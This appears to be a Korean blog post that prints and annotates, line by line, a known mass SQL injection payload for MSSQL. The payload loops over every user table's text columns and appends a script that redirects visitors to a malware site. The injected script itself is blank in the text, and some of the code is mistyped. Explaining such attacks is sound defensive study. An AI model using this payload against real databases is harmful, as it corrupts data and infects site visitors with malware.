스크립트 삽입.
항상 문서와 자료는 읽어보라고 있는건데 읽지않고 모아두는 것은 단지 자랑하기 위해서 존재하는 허위허식에서 나오는 것이 아닐까...그러므로 난 잘못한것이다..한번 올리는겸 읽어봐야겠다. 에거....반성의 시간
-----------------------------------------------------------------------------------------------------
//목적은 DB에서 사용자가 만든 모든 테이블 중 데이터 타입이 텍스트인 컬럼을 골라
악성코드 삽입 사이트로 이동하려는 스크립트( )를 삽입하려는 것입니다.
sql문은 T-SQL 문법이 사용되었으며 대상 DBMS는 MSSQL입니다.
////////////////삽입된 SQL 문//////////////////////////////
;declare @t varchar(255), @c varchar(255)
declare table_cursor cursor for select a.name, b.name from sysobjects a, syscolumn b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t, @c
while(@@fetch_status=0)
begin
exec('update ['+@c+']=rtrim
cast( as varchar(53))')
fetch next from table_cursor into @t,@c
end
close table_cursor
dealocate table_cursor;
///////////////////////////////////////////////////////////////
**********************설명***************************
;declare @t varchar(255), @c varchar(255)
//웹페이지의 변수에서 sql문을 끝내기 위해 ; 입력 , varchar타입 255크기의 t, c 변수선언
declare table_cursor cursor for select a.name, b.name from sysobjects a, syscolumn b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
// 시스템정보를 가지고있는 테이블 조회(sysobjects, syscolumn)
// sysobjects 테이블의 xtype='u'인 테이블은 데이터베이스내에 사용자가 만든 테이블을 의미
//syscolumn의 xtype은 99 : ntext, 35 : text, 231 : nvarchar, 167 : varchar 로
//테이블의 각 칼럼의 타입이 문자열 형인것을 찾아서 반환해주는것을 의미
open table_cursor //셀렉트문이 있는 커서를 염
fetch next from table_cursor into @t, @c
//커서에 대한 테이블이름을 t로 넣고 컬럼명을 c 변수로 넣음
while(@@fetch_status=0) //커서가 열려있을경우 시작
begin //루프시작
exec('update ['+@c+']=rtrim // 오른쪽 공백 삭제
(convert(varchar(4000),['+@c+]))+ //해당 컬럼의 데이터형을 varchar(4000)으로 변경
cast( as varchar(53))')
//삽입하려는 악성코드 삽입 사이트 문자열을 varchar(53)형으로 바꿈
fetch next from table_cursor into @t,@c //다음 테이블과 컬럼 가져오기 루프
end
close table_cursor //커서닫기
dealocate table_cursor; //커서 제거
*********************************************************************
이상입니다 수고하십시오~